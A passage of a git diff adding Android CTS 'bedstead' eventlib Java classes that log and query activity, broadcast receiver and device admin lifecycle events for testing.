+    /** {@link EventLogsQuery} for {@link ActivityStartedEvent}. */
+    public static final class ActivityStartedEventQuery
+            extends EventLogsQuery<ActivityStartedEvent, ActivityStartedEventQuery> {
+        ActivityQueryHelper<ActivityStartedEventQuery> mActivity = new ActivityQueryHelper<>(this);
+
+        private ActivityStartedEventQuery(String packageName) {
+            super(ActivityStartedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityStartedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityStartedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityStartedEvent}. */
+    public static ActivityStartedEventLogger logger(Activity activity) {
+        return new ActivityStartedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityStartedEvent}. */
+    public static final class ActivityStartedEventLogger extends EventLogger<ActivityStartedEvent> {
+        private ActivityStartedEventLogger(Activity activity) {
+            super(activity, new ActivityStartedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being started. */
+        public ActivityStartedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being started. */
+        public ActivityStartedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being started. */
+        public ActivityStartedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} started. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityStartedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
new file mode 100644
index 0000000..736a097
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import android.app.Activity;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.ActivityInfo;
+import com.android.eventlib.queryhelpers.ActivityQuery;
+import com.android.eventlib.queryhelpers.ActivityQueryHelper;
+
+/**
+ * Event logged when {@link Activity#onStop()} is called.
+ */
+public final class ActivityStoppedEvent extends Event {
+
+    /** Begin a query for {@link ActivityStoppedEvent} events. */
+    public static ActivityStoppedEventQuery queryPackage(String packageName) {
+        return new ActivityStoppedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link ActivityStoppedEvent}. */
+    public static final class ActivityStoppedEventQuery
+            extends EventLogsQuery<ActivityStoppedEvent, ActivityStoppedEventQuery> {
+        ActivityQueryHelper<ActivityStoppedEventQuery> mActivity = new ActivityQueryHelper<>(this);
+
+        private ActivityStoppedEventQuery(String packageName) {
+            super(ActivityStoppedEvent.class, packageName);
+        }
+
+        /** Query {@link Activity}. */
+        @CheckResult
+        public ActivityQuery<ActivityStoppedEventQuery> whereActivity() {
+            return mActivity;
+        }
+
+        @Override
+        protected boolean filter(ActivityStoppedEvent event) {
+            if (!mActivity.matches(event.mActivity)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link ActivityStoppedEvent}. */
+    public static ActivityStoppedEventLogger logger(Activity activity) {
+        return new ActivityStoppedEventLogger(activity);
+    }
+
+    /** {@link EventLogger} for {@link ActivityStoppedEvent}. */
+    public static final class ActivityStoppedEventLogger extends EventLogger<ActivityStoppedEvent> {
+        private ActivityStoppedEventLogger(Activity activity) {
+            super(activity, new ActivityStoppedEvent());
+            setActivity(activity);
+        }
+
+        /** Set the {@link Activity} being stopped. */
+        public ActivityStoppedEventLogger setActivity(Activity activity) {
+            mEvent.mActivity = new ActivityInfo(activity);
+            return this;
+        }
+
+        /** Set the {@link Activity} class being stopped. */
+        public ActivityStoppedEventLogger setActivity(Class<? extends Activity> activityClass) {
+            mEvent.mActivity = new ActivityInfo(activityClass);
+            return this;
+        }
+
+        /** Set the {@link Activity} class name being stopped. */
+        public ActivityStoppedEventLogger setActivity(String activityClassName) {
+            mEvent.mActivity = new ActivityInfo(activityClassName);
+            return this;
+        }
+    }
+
+    protected ActivityInfo mActivity;
+
+    /** Information about the {@link Activity} stopped. */
+    public ActivityInfo activity() {
+        return mActivity;
+    }
+
+    @Override
+    public String toString() {
+        return "ActivityStoppedEvent{"
+                + ", activity=" + mActivity
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
new file mode 100644
index 0000000..b67264d
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.broadcastreceivers;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.BroadcastReceiverInfo;
+import com.android.eventlib.queryhelpers.BroadcastReceiverQuery;
+import com.android.eventlib.queryhelpers.BroadcastReceiverQueryHelper;
+import com.android.eventlib.queryhelpers.IntentQueryHelper;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link BroadcastReceiver#onReceive(Context, Intent)} is called.
+ */
+public final class BroadcastReceivedEvent extends Event {
+
+    /** Begin a query for {@link BroadcastReceivedEvent} events. */
+    public static BroadcastReceivedEventQuery queryPackage(String packageName) {
+        return new BroadcastReceivedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link BroadcastReceivedEvent}. */
+    public static final class BroadcastReceivedEventQuery
+            extends EventLogsQuery<BroadcastReceivedEvent, BroadcastReceivedEventQuery> {
+        BroadcastReceiverQueryHelper<BroadcastReceivedEventQuery> mBroadcastReceiver =
+                new BroadcastReceiverQueryHelper<>(this);
+        IntentQueryHelper<BroadcastReceivedEventQuery> mIntent = new IntentQueryHelper<>(this);
+
+        private BroadcastReceivedEventQuery(String packageName) {
+            super(BroadcastReceivedEvent.class, packageName);
+        }
+
+        /**
+         * Query {@link Intent} passed into {@link BroadcastReceiver#onReceive(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<BroadcastReceivedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Query {@link BroadcastReceiver}. */
+        @CheckResult
+        public BroadcastReceiverQuery<BroadcastReceivedEventQuery> whereBroadcastReceiver() {
+            return mBroadcastReceiver;
+        }
+
+        @Override
+        protected boolean filter(BroadcastReceivedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mBroadcastReceiver.matches(event.mBroadcastReceiver)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link BroadcastReceivedEvent}. */
+    public static BroadcastReceivedEventLogger logger(
+            BroadcastReceiver broadcastReceiver, Context context, Intent intent) {
+        return new BroadcastReceivedEventLogger(broadcastReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link BroadcastReceivedEvent}. */
+    public static final class BroadcastReceivedEventLogger
+            extends EventLogger<BroadcastReceivedEvent> {
+        private BroadcastReceivedEventLogger(
+                BroadcastReceiver broadcastReceiver, Context context, Intent intent) {
+            super(context, new BroadcastReceivedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setBroadcastReceiver(broadcastReceiver);
+        }
+
+        /** Set the {@link BroadcastReceiver} which received this event. */
+        public BroadcastReceivedEventLogger setBroadcastReceiver(
+                BroadcastReceiver broadcastReceiver) {
+            mEvent.mBroadcastReceiver = new BroadcastReceiverInfo(broadcastReceiver);
+            return this;
+        }
+
+        /** Set the {@link BroadcastReceiver} which received this event. */
+        public BroadcastReceivedEventLogger setBroadcastReceiver(
+                Class<? extends BroadcastReceiver> broadcastReceiverClass) {
+            mEvent.mBroadcastReceiver = new BroadcastReceiverInfo(broadcastReceiverClass);
+            return this;
+        }
+
+        /** Set the {@link BroadcastReceiver} which received this event. */
+        public BroadcastReceivedEventLogger setBroadcastReceiver(
+                String broadcastReceiverClassName) {
+            mEvent.mBroadcastReceiver = new BroadcastReceiverInfo(broadcastReceiverClassName);
+            return this;
+        }
+
+        /** Set the {@link Intent} which was received. */
+        public BroadcastReceivedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected BroadcastReceiverInfo mBroadcastReceiver;
+
+    /**
+     * The {@link Intent} passed into {@link BroadcastReceiver#onReceive(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link BroadcastReceiver} which received the intent. */
+    public BroadcastReceiverInfo broadcastReceiver() {
+        return mBroadcastReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "BroadcastReceivedEvent{"
+                + " intent=" + intent()
+                + ", broadcastReceiver=" + mBroadcastReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
new file mode 100644
index 0000000..f1f82df
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.DeviceAdminReceiverInfo;
+import com.android.eventlib.queryhelpers.DeviceAdminReceiverQuery;
+import com.android.eventlib.queryhelpers.DeviceAdminReceiverQueryHelper;
+import com.android.eventlib.queryhelpers.IntentQueryHelper;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onDisableRequested(Context, Intent)} is called.
+ */
+public final class DeviceAdminDisableRequestedEvent extends Event {
+
+    /** Begin a query for {@link DeviceAdminDisableRequestedEvent} events. */
+    public static DeviceAdminDisableRequestedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminDisableRequestedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminDisableRequestedEvent}. */
+    public static final class DeviceAdminDisableRequestedEventQuery
+            extends EventLogsQuery<DeviceAdminDisableRequestedEvent,
+            DeviceAdminDisableRequestedEventQuery> {
+        DeviceAdminReceiverQueryHelper<DeviceAdminDisableRequestedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminDisableRequestedEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+
+        private DeviceAdminDisableRequestedEventQuery(String packageName) {
+            super(DeviceAdminDisableRequestedEvent.class, packageName);
+        }
+
+        /**
+         * Query {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onDisableRequested(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminDisableRequestedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Query {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminDisableRequestedEventQuery>
+                whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminDisableRequestedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link DeviceAdminDisableRequestedEvent}. */
+    public static DeviceAdminDisableRequestedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+        return new DeviceAdminDisableRequestedEventLogger(deviceAdminReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminDisableRequestedEvent}. */
+    public static final class DeviceAdminDisableRequestedEventLogger
+            extends EventLogger<DeviceAdminDisableRequestedEvent> {
+        private DeviceAdminDisableRequestedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+            super(context, new DeviceAdminDisableRequestedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminDisableRequestedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminDisableRequestedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminDisableRequestedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Set the {@link Intent} which was received. */
+        public DeviceAdminDisableRequestedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onDisableRequested(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminDisableRequestedEvent{"
+                + " intent=" + intent()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
new file mode 100644
index 0000000..25bd3d9
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.DeviceAdminReceiverInfo;
+import com.android.eventlib.queryhelpers.DeviceAdminReceiverQuery;
+import com.android.eventlib.queryhelpers.DeviceAdminReceiverQueryHelper;
+import com.android.eventlib.queryhelpers.IntentQueryHelper;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onDisabled(Context, Intent)} is called.
+ */
+public final class DeviceAdminDisabledEvent extends Event {
+
+    /** Begin a query for {@link DeviceAdminDisabledEvent} events. */
+    public static DeviceAdminDisabledEventQuery queryPackage(String packageName) {
+        return new DeviceAdminDisabledEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminDisabledEvent}. */
+    public static final class DeviceAdminDisabledEventQuery
+            extends EventLogsQuery<DeviceAdminDisabledEvent, DeviceAdminDisabledEventQuery> {
+        DeviceAdminReceiverQueryHelper<DeviceAdminDisabledEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminDisabledEventQuery> mIntent = new IntentQueryHelper<>(this);
+
+        private DeviceAdminDisabledEventQuery(String packageName) {
+            super(DeviceAdminDisabledEvent.class, packageName);
+        }
+
+        /**
+         * Query {@link Intent} passed into {@link DeviceAdminReceiver#onDisabled(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminDisabledEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Query {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminDisabledEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminDisabledEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link DeviceAdminDisabledEvent}. */
+    public static DeviceAdminDisabledEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+        return new DeviceAdminDisabledEventLogger(deviceAdminReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminDisabledEvent}. */
+    public static final class DeviceAdminDisabledEventLogger
+            extends EventLogger<DeviceAdminDisabledEvent> {
+        private DeviceAdminDisabledEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+            super(context, new DeviceAdminDisabledEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminDisabledEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminDisabledEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminDisabledEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Set the {@link Intent} which was received. */
+        public DeviceAdminDisabledEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into {@link DeviceAdminReceiver#onDisabled(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminDisabledEvent{"
+                + " intent=" + intent()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
new file mode 100644
index 0000000..b390ed8
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.eventlib.info.DeviceAdminReceiverInfo;
+import com.android.eventlib.queryhelpers.DeviceAdminReceiverQuery;
+import com.android.eventlib.queryhelpers.DeviceAdminReceiverQueryHelper;
+import com.android.eventlib.queryhelpers.IntentQueryHelper;
+import com.android.eventlib.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onEnabled(Context, Intent)} is called.
+ */
+public final class DeviceAdminEnabledEvent extends Event {
+
+    /** Begin a query for {@link DeviceAdminEnabledEvent} events. */
+    public static DeviceAdminEnabledEventQuery queryPackage(String packageName) {
+        return new DeviceAdminEnabledEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminEnabledEvent}. */
+    public static final class DeviceAdminEnabledEventQuery
+            extends EventLogsQuery<DeviceAdminEnabledEvent, DeviceAdminEnabledEventQuery> {
+        DeviceAdminReceiverQueryHelper<DeviceAdminEnabledEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminEnabledEventQuery> mIntent = new IntentQueryHelper<>(this);
+
+        private DeviceAdminEnabledEventQuery(String packageName) {
+            super(DeviceAdminEnabledEvent.class, packageName);
+        }
+
+        /**
+         * Query {@link Intent} passed into {@link DeviceAdminReceiver#onEnabled(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminEnabledEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Query {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminEnabledEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminEnabledEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    /** Begin logging a {@link DeviceAdminEnabledEvent}. */
+    public static DeviceAdminEnabledEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+        return new DeviceAdminEnabledEventLogger(deviceAdminReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminEnabledEvent}. */
+    public static final class DeviceAdminEnabledEventLogger
+            extends EventLogger<DeviceAdminEnabledEvent> {
+        private DeviceAdminEnabledEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+            super(context, new DeviceAdminEnabledEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminEnabledEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminEnabledEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Set the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminEnabledEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Set the {@link Intent} which was received. */
+        public DeviceAdminEnabledEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into {@link DeviceAdminReceiver#onEnabled(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminEnabledEvent{"
+                + " intent=" + intent()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
new file mode 100644
index 0000000..82998d6
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
